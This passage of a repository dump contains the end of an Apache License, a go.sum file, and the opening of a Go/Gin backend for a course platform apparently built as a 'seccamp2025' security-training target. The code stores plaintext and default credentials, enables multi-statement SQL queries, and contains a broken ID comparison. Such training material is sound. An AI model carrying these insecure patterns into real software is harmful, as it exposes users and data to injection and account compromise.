Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /app/backend/go.sum: -------------------------------------------------------------------------------- 1 | filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA= 2 | filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4= 3 | github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= 4 | github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s= 5 | github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= 6 | github.com/bytedance/sonic v1.13.3 h1:MS8gmaH16Gtirygw7jV91pDCN33NyMrPbN7qiYhEsF0= 7 | github.com/bytedance/sonic v1.13.3/go.mod h1:o68xyaF9u2gvVBuGHPlUVCy+ZfmNNO5ETf1+KgkJhz4= 8 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 9 | github.com/bytedance/sonic/loader v0.2.4 h1:ZWCw4stuXUsn1/+zQDqeE7JKP+QO47tz7QCNan80NzY= 10 | github.com/bytedance/sonic/loader v0.2.4/go.mod h1:N8A3vUdtUebEY2/VQC0MyhYeKUFosQU6FxH2JmUe6VI= 11 | github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= 12 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams= 13 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= 14 | github.com/cloudwego/base64x v0.1.5 h1:XPciSp1xaq2VCSt6lF0phncD4koWyULpl5bUxbfCyP4= 15 | github.com/cloudwego/base64x v0.1.5/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= 16 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= 17 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 20 | github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= 21 | github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= 22 | github.com/gabriel-vasile/mimetype v1.4.9 h1:5k+WDwEsD9eTLL8Tz3L0VnmVh9QxGjRmjBvAG7U/oYY= 23 | github.com/gabriel-vasile/mimetype v1.4.9/go.mod h1:WnSQhFKJuBlRyLiKohA/2DtIlPFAbguNaG7QCHcyGok= 24 | github.com/gin-contrib/cors v1.7.6 h1:3gQ8GMzs1Ylpf70y8bMw4fVpycXIeX1ZemuSQIsnQQY= 25 | github.com/gin-contrib/cors v1.7.6/go.mod h1:Ulcl+xN4jel9t1Ry8vqph23a60FwH9xVLd+3ykmTjOk= 26 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 27 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 28 | github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w= 29 | github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM= 30 | github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= 31 | github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= 32 | github.com/gin-gonic/gin v1.10.1 h1:T0ujvqyCSqRopADpgPgiTT63DUQVSfojyME59Ei63pQ= 33 | github.com/gin-gonic/gin v1.10.1/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= 34 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 35 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 36 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 37 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 38 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 39 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 40 | github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js= 41 | github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= 42 | github.com/go-playground/validator/v10 v10.26.0 h1:SP05Nqhjcvz81uJaRfEV0YBSSSGMc/iMaVtFbr3Sw2k= 43 | github.com/go-playground/validator/v10 v10.26.0/go.mod h1:I5QpIEbmr8On7W0TktmJAumgzX4CA1XNl4ZmDuVHKKo= 44 | github.com/go-sql-driver/mysql v1.9.3 h1:U/N249h2WzJ3Ukj8SowVFjdtZKfu9vlLZxjPXV1aweo= 45 | github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI64Gl8i5p1WMU= 46 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 47 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 48 | github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= 49 | github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= 50 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 51 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= 52 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 53 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= 54 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 55 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 56 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 57 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 58 | github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk= 59 | github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= 60 | github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE= 61 | github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= 62 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= 63 | github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= 64 | github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= 65 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 66 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 67 | github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= 68 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 69 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 70 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 71 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 72 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 73 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 74 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 75 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 76 | github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ= 77 | github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= 78 | github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4= 79 | github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY= 80 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 81 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 82 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 83 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 84 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 85 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 86 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 87 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 88 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 89 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 90 | github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 91 | github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= 92 | github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 93 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 94 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 95 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 96 | github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU= 97 | github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 98 | github.com/ugorji/go/codec v1.3.0 h1:Qd2W2sQawAfG8XSvzwhBeoGq71zXOC/Q1E9y/wUcsUA= 99 | github.com/ugorji/go/codec v1.3.0/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4= 100 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 101 | golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k= 102 | golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 103 | golang.org/x/arch v0.18.0 h1:WN9poc33zL4AzGxqf8VtpKUnGvMi8O9lhNyBMF/85qc= 104 | golang.org/x/arch v0.18.0/go.mod h1:bdwinDaKcfZUGpH09BB7ZmOfhalA8lQdzl62l8gGWsk= 105 | golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g= 106 | golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= 107 | golang.org/x/crypto v0.39.0 h1:SHs+kF4LP+f+p14esP5jAoDpHU8Gu/v9lFRK6IT5imM= 108 | golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U= 109 | golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= 110 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 111 | golang.org/x/net v0.41.0 h1:vBTly1HeNPEn3wtREYfy4GZ/NECgw2Cnl+nK6Nz3uvw= 112 | golang.org/x/net v0.41.0/go.mod h1:B/K4NNqkfmg07DQYrbwvSluqCJOOXwUjeb/5lOisjbA= 113 | golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 114 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 115 | golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU= 116 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 117 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw= 118 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 119 | golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= 120 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 121 | golang.org/x/text v0.26.0 h1:P42AVeLghgTYr4+xUnTRKDMqpar+PtX7KWuNQL21L8M= 122 | golang.org/x/text v0.26.0/go.mod h1:QK15LZJUUQVJxhz7wXgxSy/CJaTFjd0G+YLonydOVQA= 123 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 124 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 125 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 126 | google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= 127 | google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 128 | google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= 129 | google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= 130 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 131 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 132 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 133 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 134 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 135 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 136 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= 137 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 138 | -------------------------------------------------------------------------------- /app/backend/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "net/http" 7 | "os" 8 | "os/exec" 9 | 10 | "github.com/gin-contrib/cors" 11 | "github.com/gin-gonic/gin" 12 | _ "github.com/go-sql-driver/mysql" 13 | ) 14 | 15 | type User struct { 16 | Username string `json:"username"` 17 | FullName string `json:"full_name"` 18 | Password string `json:"password"` 19 | IsAdmin bool `json:"is_admin"` 20 | Progress map[int]int `json:"progress"` 21 | } 22 | 23 | type Course struct { 24 | ID int `json:"id"` 25 | Title string `json:"title"` 26 | Description string `json:"description"` 27 | } 28 | 29 | var db *sql.DB 30 | 31 | var users = []User{ 32 | {Username: "student1", FullName: "Student One", Password: "pass1", Progress: map[int]int{1: 50, 2: 0}}, 33 | {Username: "admin", FullName: "Admin User", Password: "adminpass", IsAdmin: true, Progress: map[int]int{}}, 34 | } 35 | var courses = []Course{ 36 | {ID: 1, Title: "Python入門", Description: "Pythonの基礎を学ぶコース"}, 37 | {ID: 2, Title: "Kubernetes基礎", Description: "Kubernetesの基本を学ぶコース"}, 38 | } 39 | 40 | func initDB() error { 41 | // 環境変数からDB接続情報を取得 42 | host := os.Getenv("DB_HOST") 43 | if host == "" { 44 | host = "db" 45 | } 46 | port := os.Getenv("DB_PORT") 47 | if port == "" { 48 | port = "3306" 49 | } 50 | user := os.Getenv("DB_USER") 51 | if user == "" { 52 | user = "root" 53 | } 54 | pass := os.Getenv("DB_PASSWORD") 55 | if pass == "" { 56 | pass = "password" 57 | } 58 | name := os.Getenv("DB_NAME") 59 | if name == "" { 60 | name = "seccamp2025" 61 | } 62 | dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?parseTime=true&multiStatements=true", user, pass, host, port, name) 63 | var err error 64 | db, err = sql.Open("mysql", dsn) 65 | if err != nil { 66 | return err 67 | } 68 | return db.Ping() 69 | } 70 | 71 | func main() { 72 | if err := initDB(); err != nil { 73 | panic(fmt.Sprintf("DB接続失敗: %v", err)) 74 | } 75 | 76 | r := gin.Default() 77 | r.Use(cors.Default()) 78 | 79 | // コース一覧(DB連携) 80 | r.GET("/courses", func(c *gin.Context) { 81 | rows, err := db.Query("SELECT id, title, description FROM courses") 82 | if err != nil { 83 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 84 | return 85 | } 86 | defer rows.Close() 87 | var courses []Course 88 | for rows.Next() { 89 | var course Course 90 | if err := rows.Scan(&course.ID, &course.Title, &course.Description); err != nil { 91 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"}) 92 | return 93 | } 94 | courses = append(courses, course) 95 | } 96 | c.JSON(http.StatusOK, courses) 97 | }) 98 | 99 | // コース詳細 100 | r.GET("/courses/:id", func(c *gin.Context) { 101 | id := c.Param("id") 102 | for _, course := range courses { 103 | if id == string(rune(course.ID)) { 104 | c.JSON(http.StatusOK, course) 105 | return 106 | } 107 | } 108 | c.JSON(http.StatusNotFound, gin.H{"error": "Course not found"}) 109 | }) 110 | 111 | // ユーザー登録(DB連携) 112 | r.POST("/register", func(c *gin.Context) { 113 | var user User 114 | if err := 